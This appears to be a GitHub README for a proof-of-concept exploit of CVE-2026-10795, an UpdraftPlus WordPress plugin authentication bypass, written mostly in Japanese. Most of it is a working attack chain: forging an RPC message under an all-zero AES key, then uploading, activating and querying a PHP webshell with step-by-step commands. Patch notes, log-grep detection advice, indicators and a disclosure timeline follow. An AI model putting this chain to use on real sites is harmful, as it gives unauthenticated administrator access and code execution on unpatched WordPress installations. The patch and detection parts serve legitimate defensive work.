
CVE-2026-10795 – UpdraftPlus 認証バイパス
| フィールド | 詳細 |
|---|
| プラグイン | UpdraftPlus: WP Backup & Migration |
| 影響を受けるバージョン | ≤ 1.26.4 |
| 修正バージョン | 1.26.5 |
| CVSS スコア | 8.1 (高) |
| 脆弱性タイプ | 認証されていない認証バイパス → RCE |
| 発見者 | vtim (Wordfence バグ報奨金) |
| 報奨金 | $5,200 |
UpdraftPlus は、UpdraftCentral に接続されたサイトのページ読み込みごとに、認証されていない RPC リスナー を登録します。
decrypt_message() 関数は $rsa->decrypt() の戻り値を検証しません。
RSA 復号が失敗すると、false が Rijndael::setKey() に渡され、決定論的な全ゼロの AES-128 キー に縮退します。
攻撃者は可能:
udrpc_message を偽造する// updraftplus/includes/class-remote-communications-v2.php
// Lines 460-491 (version 1.26.4)
$sym_key = $rsa->decrypt($sym_key);
// ❌ No return value check!
$rij->setKey($sym_key); // false → all-zero key
return $rij->decrypt($ciphertext);
$sym_key = $rsa->decrypt($sym_key);
// ✅ Added in 1.26.5
if (false === $sym_key || !is_string($sym_key) || strlen($sym_key) < 16) {
return false;
}
$rij->setKey($sym_key);
return $rij->decrypt($ciphertext);
updraftplus-auth-bypass/
├── README.md
├── poc.py # メインのエクスプロイトスクリプト
├── requirements.txt # Python 依存関係
├── payloads/
│ ├── list_plugins.py # インストール済みプラグインの一覧表示
│ ├── upload_shell.py # ウェブシェルプラグインのアップロード
│ └── activate_plugin.py # アップロードしたプラグインの有効化
├── shell/
│ ├── build_shell.py # ウェブシェル ZIP の作成
│ └── test-shell.php # 最小限の PHP ウェブシェル
└── docs/
├── technical-analysis.md
└── patch-diff.md
git clone https://github.com/yourname/updraftplus-auth-bypass
cd updraftplus-auth-bypass
pip install -r requirements.txt
requirements.txt
requests==2.31.0
pycryptodome==3.20.0
https://www.apachefriends.org
起動: Apache + MySQL
# Place WordPress in htdocs
C:/xampp/htdocs/wordpress/
# Install vulnerable plugin version
# Download: https://plugins.trac.wordpress.org/browser/updraftplus/tags/1.26.4
WordPress 管理画面 → 設定 → UpdraftPlus → UpdraftCentral タブ → 接続
⚠️ 必須: 脆弱性を悪用可能にするには、サイトが UpdraftCentral に接続されている必要があります。
python poc.py --url http://localhost/wordpress/ --user-id 1
python poc.py --url http://localhost/wordpress/ --cmd plugin.get_plugins
# Step 1: Build the shell ZIP
python shell/build_shell.py
# Step 2: Upload
python poc.py --url http://localhost/wordpress/ --cmd upload_shell
# Step 3: Activate
python poc.py --url http://localhost/wordpress/ --cmd activate_shell
# Step 4: Test RCE
curl "http://localhost/wordpress/wp-content/plugins/test-shell/test-shell.php?cmd=whoami"
poc.py
│
├─ 1. 不正な RSA 暗号化 sym_key(ガベージバイト)を生成
│
├─ 2. RPC ペイロードを ZERO AES-128 キー (0x00 * 16) で暗号化
│
├─ 3. udrpc_message を構築:
│ [3-byte hex len][fake_sym_key][16-byte hex cipherlen][ciphertext]
│
├─ 4. ターゲットに POST(認証、ノンス、cookie 不要)
│
└─ 5. サーバー側:
rsa->decrypt(garbage) → false
setKey(false) → 0x00 key
decrypt(ciphertext) → 私たちのペイロード ✅
wp_set_current_user() → 管理者アクセス
RPC コマンドが実行 → RCE 💀
Update UpdraftPlus to version 1.26.5 immediately.
# Look for suspicious POST requests with udrpc_message
grep "udrpc_message" /var/log/apache2/access.log
# Wordfence users are protected since June 3, 2026
- 予期しないプラグインのインストール
- New PHP files in wp-content/plugins/
- udrpc_message パラメータを含む WordPress ルートへの POST リクエスト
- WordPress ログでの予期しない管理者レベルのアクション
| 日付 | イベント |
|---|---|
| 2026年6月1日 | Wordfence バグ報奨金プログラムを通じて脆弱性を提出 |
| 2026年6月3日 | 検証されベンダーに開示 |
| 2026年6月3日 | Wordfence Premium ファイアウォールルールが展開 |
| 2026年6月4日 | ベンダーが確認 |
| 2026年6月5日 | パッチリリース (v1.26.5) |
| 2026年7月3日 | Wordfence Free 保護が有効 |
MIT License – For educational use only.
Unauthorized use against systems you don't own is illegal.